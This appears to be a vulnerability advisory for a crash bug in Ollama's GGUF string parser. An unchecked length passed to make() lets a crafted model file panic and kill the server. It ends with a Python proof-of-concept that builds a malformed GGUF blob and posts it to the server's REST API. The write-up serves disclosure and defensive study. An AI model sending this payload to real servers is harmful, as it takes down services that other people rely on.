Ollama GGUF String Length Panic Denial of Service

🔍 Vulnerability Mechanism

In fs/ggml/gguf.go, the readGGUFString parser reads a 64-bit integer length value from GGUF metadata. If this length exceeds the pre-allocated scratch size, the parser allocates memory using:

buf = make([]byte, length)

No validation limits are checked.

---

💥 Exploitation Path

If a malformed GGUF file specifies a length like $2^{60}$, Go triggers panic: runtime error: makeslice: len out of range. This panic is unrecovered, crashing the server process instantly. Attackers can trigger this remotely by uploading a malformed GGUF blob via the REST API.

---

💻 Proof of Concept Exploit Payload

import struct
import requests

# Target instance
OLLAMA_URL = "http://localhost:11434"

# GGUF Magic, Version, Num Tensors, Num KV
header = b"GGUF" + struct.pack("<IQQ", 3, 0, 1)

# KV String Type key and 2^60 length
payload = (
    header 
    + struct.pack("<Q", 7) + b"exploit" 
    + struct.pack("<I", 8) + struct.pack("<Q", 2**60)
)

# Uploading raw binary blob triggers unrecovered Go panic makeslice
requests.post(f"{OLLAMA_URL}/api/create", data=payload)